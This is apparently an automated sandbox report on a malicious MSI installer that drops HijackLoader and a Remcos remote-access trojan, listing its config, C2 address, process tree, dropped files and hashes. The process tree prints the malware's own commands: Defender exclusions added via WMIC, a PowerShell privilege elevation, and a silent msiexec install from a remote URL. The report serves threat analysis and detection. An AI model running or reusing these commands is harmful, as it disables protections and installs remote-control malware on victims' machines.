Analysis

  • max time kernel
    149s
  • max time network
    145s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    17-11-2024 09:55

General

  • Target

    LauncherPred8.3.37Stablesetup.msi

  • Size

    11.4MB

  • MD5

    c628123d2539f5ae51b37a06bd179fc7

  • SHA1

    139dfe6164e7c6ba6e2360673cf75801fd2add36

  • SHA256

    f5dfa6b5d19d9334c69d24dd98f13cb30badacb6403b03afc47af4e267cbe0c2

  • SHA512

    3cc3af8065b138719bae90720aeb37b15bb9412631aba972dab1d8d42e7507fd1d4ba231c96a0fe4b32b67e450594a95fe6d0fbc858bf2018b02b6d83ccda567

  • SSDEEP

    196608:oEGAvNE+MNqCjsict52JykNWmKoahv02bfHJNeh5XK3zQlstPGaVB4L0iJP:QCBAK5XmooaBYhtKklkG

Malware Config

Extracted

Family

remcos

Botnet

v2

C2

185.157.162.126:1995

Attributes
  • audio_folder

    MicRecords

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    qsdazeazd-EL00KX

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Detects HijackLoader (aka IDAT Loader) 1 IoCs
  • HijackLoader

    HijackLoader is a multistage loader first seen in 2023.

  • Hijackloader family
  • Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Remcos family
  • Use of msiexec (install) with remote resource 1 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Enumerates connected drives 3 TTPs 64 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Checks computer location settings 2 TTPs 3 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Start PowerShell.

  • Suspicious use of SetThreadContext 2 IoCs
  • Drops file in Program Files directory 9 IoCs
  • Drops file in Windows directory 22 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 12 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 2 TTPs 1 IoCs
  • System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 4 IoCs
  • Kills process with taskkill 2 IoCs
  • Modifies data under HKEY_USERS 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious behavior: MapViewOfSection 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs

Processes

  • C:\Windows\system32\msiexec.exe
    msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\LauncherPred8.3.37Stablesetup.msi
    1⤵
    • Enumerates connected drives
    • Event Triggered Execution: Installer Packages
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    PID:3364
  • C:\Windows\system32\msiexec.exe
    C:\Windows\system32\msiexec.exe /V
    1⤵
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3064
    • C:\Windows\syswow64\MsiExec.exe
      C:\Windows\syswow64\MsiExec.exe -Embedding D01B600B0CCB1731C4D969ADEA315E97
      2⤵
      • Loads dropped DLL
      • System Location Discovery: System Language Discovery
      PID:1880
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Program Files (x86)\sev\dev\updt\lola.bat""
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2540
      • C:\Windows\system32\chcp.com
        chcp 65001
        3⤵
          PID:1244
        • C:\Windows\system32\timeout.exe
          timeout /t 1 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:2548
        • C:\Windows\system32\timeout.exe
          timeout /t 1 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:1748
        • C:\Windows\system32\timeout.exe
          timeout /t 3 /nobreak
          3⤵
          • Delays execution with timeout.exe
          PID:1840
        • C:\Windows\system32\cscript.exe
          cscript //nologo "C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs"
          3⤵
          • Checks computer location settings
          • Suspicious use of WriteProcessMemory
          PID:3952
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "Start-Process wscript.exe -ArgumentList '""C:\Program Files (x86)\sev\dev\updt\task.vbs""' -Verb runAs"
            4⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1188
            • C:\Windows\system32\wscript.exe
              "C:\Windows\system32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\task.vbs
              5⤵
              • Checks computer location settings
              • Suspicious use of WriteProcessMemory
              PID:684
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:852
                • C:\Windows\System32\Wbem\WMIC.exe
                  Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="C:\"
                  7⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2084
              • C:\Windows\System32\cmd.exe
                "C:\Windows\System32\cmd.exe" /c Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
                6⤵
                • Suspicious use of WriteProcessMemory
                PID:4660
                • C:\Windows\System32\Wbem\WMIC.exe
                  Wmic.exe /Namespace:\\root\Microsoft\Windows\Defender class MSFT_MpPreference call Add ExclusionPath="F:\"
                  7⤵
                    PID:3016
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /f /im cmd.exe
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4244
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im cmd.exe
                    7⤵
                    • Kills process with taskkill
                    PID:2776
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c taskkill /f /im msiexec.exe
                  6⤵
                  • Suspicious use of WriteProcessMemory
                  PID:452
                  • C:\Windows\system32\taskkill.exe
                    taskkill /f /im msiexec.exe
                    7⤵
                    • Kills process with taskkill
                    PID:2316
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" /c echo Script started >> "C:\Users\root\Desktop\wix\log.txt"
                  6⤵
                    PID:1148
                  • C:\Windows\System32\wscript.exe
                    "C:\Windows\System32\wscript.exe" "C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs" /b
                    6⤵
                    • Checks computer location settings
                    • Suspicious use of WriteProcessMemory
                    PID:3480
                    • C:\Windows\System32\msiexec.exe
                      "C:\Windows\System32\msiexec.exe" /i https://gersgaming.s3.us-east-2.amazonaws.com/Slf.msi /qn
                      7⤵
                      • Use of msiexec (install) with remote resource
                      PID:4556
            • C:\Windows\system32\timeout.exe
              timeout /t 60 /nobreak
              3⤵
              • Delays execution with timeout.exe
              PID:4964
        • C:\Windows\system32\msiexec.exe
          C:\Windows\system32\msiexec.exe /V
          1⤵
          • Blocklisted process makes network request
          • Enumerates connected drives
          • Drops file in Windows directory
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:2548
          • C:\Windows\syswow64\MsiExec.exe
            C:\Windows\syswow64\MsiExec.exe -Embedding 0EDD1FDE90F3257A3D0649C51E2C895C
            2⤵
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            PID:3284
          • C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
            "C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe"
            2⤵
            • Suspicious use of SetThreadContext
            • Executes dropped EXE
            • Loads dropped DLL
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of WriteProcessMemory
            PID:3220
            • C:\Windows\SysWOW64\cmd.exe
              C:\Windows\SysWOW64\cmd.exe
              3⤵
              • Suspicious use of SetThreadContext
              • System Location Discovery: System Language Discovery
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious behavior: MapViewOfSection
              • Suspicious use of WriteProcessMemory
              PID:2196
              • C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
                C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe
                4⤵
                • Loads dropped DLL
                • System Location Discovery: System Language Discovery
                PID:4472

        Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        • C:\Config.Msi\e579780.rbs

          Filesize

          2KB

          MD5

          d7f4a1acea1b12a85f4c62f31cd2b104

          SHA1

          448c382d5ce3e1a51ced9d6beaa6bf52171c6afe

          SHA256

          96e45095ecf475fec386395a402d4c56352d34cd1607ee363413fd97f3cf109c

          SHA512

          83af5cdedb7586dcaa7fbd738509a4390eb438270b103862dab5f886d64db0aaf049a28adcb54f04172debd90f0d60119d7ad381d11b85a4c6996e2df21e14c5

        • C:\Config.Msi\e58127b.rbs

          Filesize

          2KB

          MD5

          b0ab1f982dea9c56d2b6ad2fe0455a3e

          SHA1

          b1fa0082ce85f33680ecfbb18072bc4d06458378

          SHA256

          84b89df9d7388d23e47aa29e91edce9dc69bde13db1db32bbd36114cbc434607

          SHA512

          80c4f1e91c58885b545e2df9e9e215143316d1987d0f4e4b502c63d7a3fe16fbfd74bc545040bb8472896c797dd638d88559af2c3b4e01947566ef0cfee81643

        • C:\Program Files (x86)\sev\dev\updt\lola.bat

          Filesize

          928B

          MD5

          200bfb54cca80c3a3b50dd9c479d580b

          SHA1

          b2ac137e8d188dd4a9b0ad5e329714e3e7f2bd7c

          SHA256

          18aece804e2854d1aee6d3e289e8dfe9dcc832f67b84f47e4937aa41ed8250c7

          SHA512

          98909b213290980013d584389af154ee890949850c97c9512014984e29d779f6e554413b3086b1986e11169e95edf8b019b04b4d7fd475adcffb83f7c3f7779c

        • C:\Program Files (x86)\sev\dev\updt\runTaskAsAdmin.vbs

          Filesize

          659B

          MD5

          94d85f8f350a1f6fe8e700b87f5b4eea

          SHA1

          0dc9e11c55b3e056eeadb9cfe6ef2b6bd98300ea

          SHA256

          cb7294f1c425ad49aa0e487d36cfb580c303db25d1f69ea3fa08d81d29fc21ba

          SHA512

          0226c2662e4d6d2f473f075e8d200d55a3b18deacb40365450866039dafeb206ed6ea9216149d1ac5f1a19e8f185381b796d7f4fa3bb08c4558b6b292838e9c5

        • C:\Program Files (x86)\sev\dev\updt\secondaryTask.vbs

          Filesize

          869B

          MD5

          8532766ca0ae0adf46849cc89d54486a

          SHA1

          7bba7004901617e97855ddd6d5cc81f7c95ee3e7

          SHA256

          264b66a6d0b79faea0171a06441587cb910aaf815d7120ad2951fc7a5462dfcd

          SHA512

          1e1e2d5c3f7a394efb524c5f7b093201e9f4a9483a8146e44896b34b3dffbb74b213b04a904be064e39ef782b0b357a50444673faa42466e8b43219959e06762

        • C:\Program Files (x86)\sev\dev\updt\task.vbs

          Filesize

          2KB

          MD5

          c8be5f9ad4d51e45019e4b7471281257

          SHA1

          0b6b9cc0495bc9f67ecf2299657b380b256f1611

          SHA256

          d88e84ec97091ad59b8ce69b5c678e210514bde7f880f6e72367cefc35053c9c

          SHA512

          bde94e0cf77a407a8cbd24c8f79d961c6858c336cac8a5809178f7f62bf2749fe75715ab69183855c98c1dae2936a949e215c6a775c48b2d73d76bcd9bce68ce

        • C:\Users\Admin\AppData\Local\Temp\EHttpSrv.exe

          Filesize

          20KB

          MD5

          9329ba45c8b97485926a171e34c2abb8

          SHA1

          20118bc0432b4e8b3660a4b038b20ca28f721e5c

          SHA256

          effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659

          SHA512

          0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc

        • C:\Users\Admin\AppData\Local\Temp\MSI7956a.LOG

          Filesize

          50KB

          MD5

          33a398d48416a592e772f79917b8f681

          SHA1

          262c6a238e55014d4a0bf9fd4ed4f7cae5d4900a

          SHA256

          e2e84d3c80866f05613eda31a1b77e31855d4c819ff7dad7f60fc4306d53a4b5

          SHA512

          5649d74a32ddee1552e2d25b064d410df048bf5ac7a73c3832f64116f845b83561ac5c95b0938d5e53af3639e333a5f48bae8ff40926c64e5a44750565c76f2c

        • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bu3hhsry.kev.ps1

          Filesize

          60B

          MD5

          d17fe0a3f47be24a6453e9ef58c94641

          SHA1

          6ab83620379fc69f80c0242105ddffd7d98d5d9d

          SHA256

          96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

          SHA512

          5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

        • C:\Users\Admin\AppData\Local\Temp\audiogram.tif

          Filesize

          877KB

          MD5

          5124236fd955464317fbb1f344a1d2f2

          SHA1

          fe3a91e252f1dc3c3b4980ade7157369ea6f5097

          SHA256

          ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6

          SHA512

          2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252

        • C:\Users\Admin\AppData\Local\Temp\d93a9d43

          Filesize

          1.0MB

          MD5

          69a45702622e88ac9b2be7ee827be037

          SHA1

          336065b6fcfb638e1ba8f944ef18f030dfbae91d

          SHA256

          a547ac1ef2d98cd5bbfdb0f95fed0e25b9f15c6ecf2e4d30d1214c15d5f79f36

          SHA512

          e55449e0bea9e76d1249ed453b424aff1241ddcf77de8232816856b08775225fdd908ed117619ef7a5d24f56f2bc739007a967027b5e78d2dd174313755ceb35

        • C:\Users\Admin\AppData\Local\Temp\http_dll.dll

          Filesize

          883KB

          MD5

          4366cd6c5d795811822b9ccc3df3eab4

          SHA1

          30f6050729b4c08b7657454cb79dd5a3d463c606

          SHA256

          55497a3eced5d8d190400bcd1a4b43a304ebf74a0d6d098665474ed4b1b0e9da

          SHA512

          4a56a2da7ded16125c2795d5760c7c08a93362536c9212cff3a31dbf6613cb3fca436efd77c256338f5134da955bc7ccc564b4af0c45ac0dfd645460b922a349

        • C:\Users\Admin\AppData\Local\Temp\mfc80u.dll

          Filesize

          1.0MB

          MD5

          686b224b4987c22b153fbb545fee9657

          SHA1

          684ee9f018fbb0bbf6ffa590f3782ba49d5d096c

          SHA256

          a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36

          SHA512

          44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875

        • C:\Windows\Installer\MSI9819.tmp

          Filesize

          557KB

          MD5

          2c9c51ac508570303c6d46c0571ea3a1

          SHA1

          e3e0fe08fa11a43c8bca533f212bdf0704c726d5

          SHA256

          ff86c76a8d5846b3a1ad58ff2fd8e5a06a84eb5899cdee98e59c548d33335550

          SHA512

          df5f1def5aac44f39a2dfde9c6c73f15f83a7374b4ad42b67e425ccb7ac99a64c5701b676ae46d2f7167a04a955158031a839e7878d100aaf8fab0ce2059f127

        • C:\Windows\Installer\MSI9D4C.tmp

          Filesize

          1.1MB

          MD5

          7768d9d4634bf3dc159cebb6f3ea4718

          SHA1

          a297e0e4dd61ee8f5e88916af1ee6596cd216f26

          SHA256

          745de246181eb58f48224e6433c810ffbaa67fba330c616f03a7361fb1edb121

          SHA512

          985bbf38667609f6a422a22af34d9382ae4112e7995f87b6053a683a0aaa647e17ba70a7a83b5e1309f201fc12a53db3c13ffd2b0fad44c1374fff6f07059cbf

        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log

          Filesize

          156KB

          MD5

          c07cd0c6ef3dafc7c31c19aa88646bdd

          SHA1

          01fad123025fb664931cddf55f1e73d513d38c36

          SHA256

          2dd14b4315dcdf8b15a07fa711dde96a485c73c38f1a42fc5685df47b7116dab

          SHA512

          878a536ae8872ce4edd5fc1c6e23b8a5fe111fe8d7458800d5a3aaea8c2ecfd3d75dfc2d880c1360a846691e69e7087edab833baa0b58b2f878d09d22602af4d

        • memory/1188-46-0x0000026579E50000-0x0000026579E72000-memory.dmp

          Filesize

          136KB

        • memory/2196-112-0x00007FFBE31B0000-0x00007FFBE33A5000-memory.dmp

          Filesize

          2.0MB

        • memory/2196-114-0x0000000074380000-0x00000000744FB000-memory.dmp

          Filesize

          1.5MB

        • memory/3220-108-0x0000000074380000-0x00000000744FB000-memory.dmp

          Filesize

          1.5MB

        • memory/3220-109-0x0000000074380000-0x00000000744FB000-memory.dmp

          Filesize

          1.5MB

        • memory/4472-116-0x0000000073120000-0x0000000074374000-memory.dmp

          Filesize

          18.3MB

        • memory/4472-118-0x00007FFBE31B0000-0x00007FFBE33A5000-memory.dmp

          Filesize

          2.0MB

        • memory/4472-119-0x0000000000410000-0x0000000000494000-memory.dmp

          Filesize

          528KB

        • memory/4472-124-0x0000000000410000-0x0000000000494000-memory.dmp

          Filesize

          528KB

        • memory/4472-125-0x0000000000410000-0x0000000000494000-memory.dmp

          Filesize

          528KB

        • memory/4472-126-0x0000000000410000-0x0000000000494000-memory.dmp

          Filesize

          528KB

        • memory/4472-127-0x0000000000410000-0x0000000000494000-memory.dmp

          Filesize

          528KB

        • memory/4472-128-0x0000000000410000-0x0000000000494000-memory.dmp

          Filesize

          528KB

        • memory/4472-129-0x0000000000410000-0x0000000000494000-memory.dmp

          Filesize

          528KB

        • memory/4472-130-0x0000000000410000-0x0000000000494000-memory.dmp

          Filesize

          528KB